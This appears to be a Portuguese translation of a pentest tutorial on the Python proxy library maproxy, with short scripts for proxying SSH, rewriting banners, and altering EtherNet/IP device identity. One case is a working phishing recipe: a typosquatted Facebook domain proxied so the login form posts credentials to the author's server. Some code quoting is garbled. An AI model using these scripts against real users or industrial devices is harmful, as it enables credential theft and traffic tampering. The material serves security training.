Processe dados de rede dinamicamente

A tradução do artigo foi preparada na véspera do início do curso “Pentest. Prática de teste de penetração".

Processe dados de rede dinamicamente

Abstrato

Uma variedade de tipos de avaliações de segurança, desde testes regulares de penetração e operações do Red Team até hackeamento de dispositivos IoT/ICS e SCADA, envolvem trabalhar com protocolos de rede binários, ou seja, essencialmente interceptar e modificar dados de rede entre o cliente e o alvo. Farejar o tráfego da rede não é uma tarefa difícil já que temos ferramentas como Wireshark, Tcpdump ou Scapy, mas a modificação parece ser uma tarefa mais trabalhosa já que precisaremos de algum tipo de interface para ler os dados da rede, filtrá-los, alterar instantaneamente e enviá-lo de volta ao host de destino quase em tempo real. Além disso, seria ideal se tal ferramenta pudesse funcionar automaticamente com múltiplas conexões paralelas e fosse personalizável por meio de scripts.

Um dia descobri uma ferramenta chamada maproxy, a documentação rapidamente deixou claro para mim que maproxy - exatamente o que eu preciso. Este é um proxy TCP bastante simples, versátil e facilmente configurável. Testei essa ferramenta em vários aplicativos bastante complexos, incluindo dispositivos ICS (que geram muitos pacotes) para ver se ela conseguia lidar com muitas conexões paralelas, e a ferramenta teve um bom desempenho.

Este artigo irá apresentá-lo ao processamento de dados de rede em tempo real usando maproxy.

visão global

Ferramenta maproxy é baseado no Tornado, uma estrutura de rede assíncrona popular e madura em Python.

Em geral, pode operar em vários modos:

  • TCP:TCP – conexões TCP não criptografadas;
  • TCP:SSL и SSL:TCP – com criptografia unidirecional;
  • SSL:SSL – criptografia bidirecional.

Ele vem como uma biblioteca. Para um início rápido, você pode usar arquivos de exemplo que refletem os principais funções de biblioteca:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caso 1 – proxy bidirecional simples

Baseado em tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Por padrão ProxyServer() leva dois argumentos – o local da conexão e a porta de destino. server.listen() leva um argumento - a porta para ouvir a conexão de entrada.

Executando o script:

# python tcp2tcp.py

Para executar o teste, vamos nos conectar a um servidor SSH local através do nosso script proxy, que escuta 2222/tcp porta e se conecta a uma porta padrão 22/tcp Servidores SSH:

Processe dados de rede dinamicamente

O banner de boas-vindas informa que nosso script de exemplo fez proxy do tráfego de rede com êxito.

Caso 2 – modificação de dados

Outro script de demonstração logging_proxy.py ideal para interagir com dados de rede. Os comentários no arquivo descrevem os métodos de classe que você pode modificar para atingir seu objetivo:

Processe dados de rede dinamicamente

O mais interessante está aqui:

  • on_c2p_done_read – interceptar dados ao longo do caminho do cliente ao servidor;
  • on_p2s_done_read - invertido.

Vamos tentar alterar o banner SSH que o servidor retorna ao cliente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Execute o script:

Processe dados de rede dinamicamente

Como você pode ver, o cliente foi enganado porque o nome do servidor SSH dele foi alterado para «DumnySSH».

Processe dados de rede dinamicamente

Caso 3 – página web de phishing simples

Existem inúmeras maneiras de usar esta ferramenta. Desta vez vamos nos concentrar em algo mais prático do lado operacional do Red Team. Vamos imitar a landing page m.facebook.com e usar um domínio personalizado com um erro de digitação deliberado, por exemplo, m.facebok.com. Para fins de demonstração, vamos supor que o domínio seja registrado por nós.

Vamos estabelecer uma conexão de rede não criptografada com o proxy de nossas vítimas e SSL Stream para o servidor do Facebook (31.13.81.36). Para fazer este exemplo funcionar, precisamos substituir o cabeçalho do host HTTP e injetar o nome do host correto, e também desabilitaremos a compactação de resposta para que possamos acessar facilmente o conteúdo. Por fim, substituiremos o formulário HTML para que as credenciais de login sejam enviadas para nós em vez dos servidores do Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/pt/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Em resumo:

Processe dados de rede dinamicamente

Como você pode ver, conseguimos substituir o site original com sucesso.

Caso 4 – Portabilidade Ethernet/IP

Tenho lidado com dispositivos e softwares industriais (ICS/SCADA) há algum tempo, como controladores programáveis ​​(PLC), módulos de E/S, drives, relés, ambientes de programação em ladder e muito mais. Esse case é para quem gosta de coisas industriais. Hackear essas soluções envolve brincar ativamente com protocolos de rede. No exemplo a seguir, gostaria de mostrar como você pode modificar o tráfego de rede ICS/SCADA.

Para fazer isso, você precisa do seguinte:

  • Sniffer de rede, por exemplo, Wireshark;
  • Ethernet/IP ou apenas um dispositivo SIP, você pode encontrá-lo usando o serviço Shodan;
  • Nosso roteiro é baseado em maproxy.

Primeiro, vamos ver como é uma resposta de identificação típica do CIP (Common Industrial Protocol):

Processe dados de rede dinamicamente

A identificação do dispositivo é realizada usando o protocolo Ethernet/IP, que é uma versão aprimorada do protocolo Ethernet industrial que envolve protocolos de controle como o CIP. Vamos alterar o nome do ID destacado que é visível na captura de tela "NI-IndComm para Ethernet" usando nosso script de proxy. Poderíamos reutilizar o script logging_proxy.py e da mesma forma modificar o método de classe on_p2s_done_read, porque queremos que um nome de identidade diferente fique visível no cliente.

Código:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Essencialmente, solicitamos a identificação do dispositivo duas vezes, a segunda resposta foi a original e a primeira foi modificada na hora.

E o último

Na minha opinião maproxy Uma ferramenta simples e conveniente, que também é escrita em Python, então acredito que você também pode se beneficiar com seu uso. É claro que existem ferramentas mais complexas para processar e modificar dados de rede, mas também requerem mais atenção e geralmente são criadas para um caso de uso específico, por exemplo. muraena, Modlishka ou evilginx para casos semelhantes ao terceiro, ou canape para o último caso. De uma forma ou de outra, com a ajuda maproxy você pode implementar rapidamente suas ideias para interceptar dados de rede, pois os scripts de exemplo são muito claros.

Testando mecanismos de autenticação no Windows AD

Fonte: habr.com

Adicionar um comentário